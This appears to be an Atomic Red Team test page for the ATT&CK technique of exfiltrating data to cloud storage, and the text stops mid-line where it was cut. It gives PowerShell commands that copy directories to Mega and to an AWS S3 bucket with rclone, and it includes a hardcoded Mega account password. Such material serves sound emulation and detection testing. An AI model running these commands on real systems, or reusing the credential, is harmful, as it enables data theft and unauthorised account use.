# T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage

## Description from ATT&CK

> Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.
> 
> Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

[Source](https://attack.mitre.org/techniques/T1567/002)

## Atomic Tests

- [Atomic Test #1: Exfiltrate data with rclone to cloud Storage - Mega (Windows)](#atomic-test-1-exfiltrate-data-with-rclone-to-cloud-storage---mega-windows)
- [Atomic Test #2: Exfiltrate data with rclone to cloud Storage - AWS S3](#atomic-test-2-exfiltrate-data-with-rclone-to-cloud-storage---aws-s3)

### Atomic Test #1: Exfiltrate data with rclone to cloud Storage - Mega (Windows)

This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/

**Supported Platforms:** Windows

**auto_generated_guid:** `8529ee44-279a-4a19-80bf-b846a40dda58`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| rclone_path | Directory of rclone.exe | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;T1567.002&#92;rclone-v*&#92;|
| rclone_config_path | Path to rclone's config file (default should be fine) | path | $env:appdata|
| dir_to_copy | Directory to copy | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;T1567.002|
| mega_user_account | Mega user account | string | atomictesting@outlook.com|
| mega_user_password | Mega user password | string | vmcjt1A_LEMKEXXy0CKFoiFCEztpFLcZVNinHA|
| remote_share | Remote Mega share | string | T1567002|

#### Attack Commands: Run with `powershell`!

```powershell
New-Item #{rclone_config_path}\rclone -ItemType directory
New-Item #{rclone_config_path}\rclone\rclone.conf
cd "#{rclone_path}"
.\rclone.exe config create #{remote_share} mega
set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"
.\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v
```

#### Cleanup Commands

```powershell
cd "#{rclone_path}"
.\rclone.exe purge #{remote_share}:test
.\rclone.exe config delete #{remote_share}:
Remove-Item #{rclone_config_path}\rclone -recurse -force -erroraction silentlycontinue
cd c:\
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip"
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\T1567.002" -recurse -force
```

#### Dependencies: Run with `powershell`!

##### Description: rclone must exist at (#{rclone_path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{rclone_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip"
Expand-archive -path "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\T1567.002\" -force
```

### Atomic Test #2: Exfiltrate data with rclone to cloud Storage - AWS S3

This test uses rclone to exfiltrate data to a remote cloud storage instance. (AWS S3)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `a4b74723-5cee-4300-91c3-5e34166909b4`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| rclone_path | Directory of rclone.exe | path | PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone-v*/|
| exfil_directory | Directory to exfiltrate | string | PathToAtomicsFolder/../ExternalPayloads/T1567.002/data/|
| terraform_path | Directory of terraform | path | PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*|
| aws_access_key | AWS Access Key | string | |
| aws_secret_key | AWS Secret Key | string | |
| aws_region | AWS Region | string | us-east-1|
| aws_profile | AWS Profile | string | default|

#### Attack Commands: Run with `powershell`!

```powershell
Write-Host "Deploying AWS infrastructure... " -NoNewLine
$awsAccessKey = "#{aws_access_key}"
$awsSecretKey = "#{aws_secret_key}"
cd PathToAtomicsFolder/T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
  $env:AWS_PROFILE = "#{aws_profile}"
} else {
  $env:AWS_ACCESS_KEY_ID = "$awsAccessKey"
  $env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey"
}
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform init
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform apply -var "aws_region=#{aws_region}" -auto-approve
Write-Host "Done!"
Write-Host "Generating rclone config... " -NoNewLine
$config = @"
[exfils3]
type = s3
provider = AWS
env_auth = true
region = #{aws_region}
"@
$config | Out-File -FilePath "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf" -Encoding ascii
Write-Host "Done!"
Write-Host "Exfiltrating data... " -NoNewLine
$bucket = "$(PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform output bucket)".Replace("`"","")
cd PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone-v*
$null = ./rclone copy --max-size 1700k "PathToAtomicsFolder/../ExternalPayloads/T1567.002/data/" exfils3:$bucket --config "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf"
Write-Host "Done!"
```

#### Cleanup Commands

```powershell
Write-Host "Destroying AWS infrastructure... " -NoNewLine
$awsAccessKey = "#{aws_access_key}"
$awsSecretKey = "#{aws_secret_key}"
cd PathToAtomicsFolder/T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
  $env:AWS_PROFILE = "#{aws_profile}"
} else {
  $env:AWS_ACCESS_KEY_ID = "$awsAccessKey"
  $env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey"
}
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform destroy -var "aws_region=#{aws_region}" -auto-approve
Write-Host "Done!"
```

#### Dependencies: Run with `powershell`!

##### Description: rclone must exist at (#{rclone_path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{rclone_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder/../ExternalPayloads/" -ErrorAction Ignore -Force | Out-Null
$arch = ([System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture).ToString().ToLower()
$operatingSystem = ([System.Runtime.InteropServices.RuntimeInformation]::OSDescription).ToString().ToLower()
if ($operati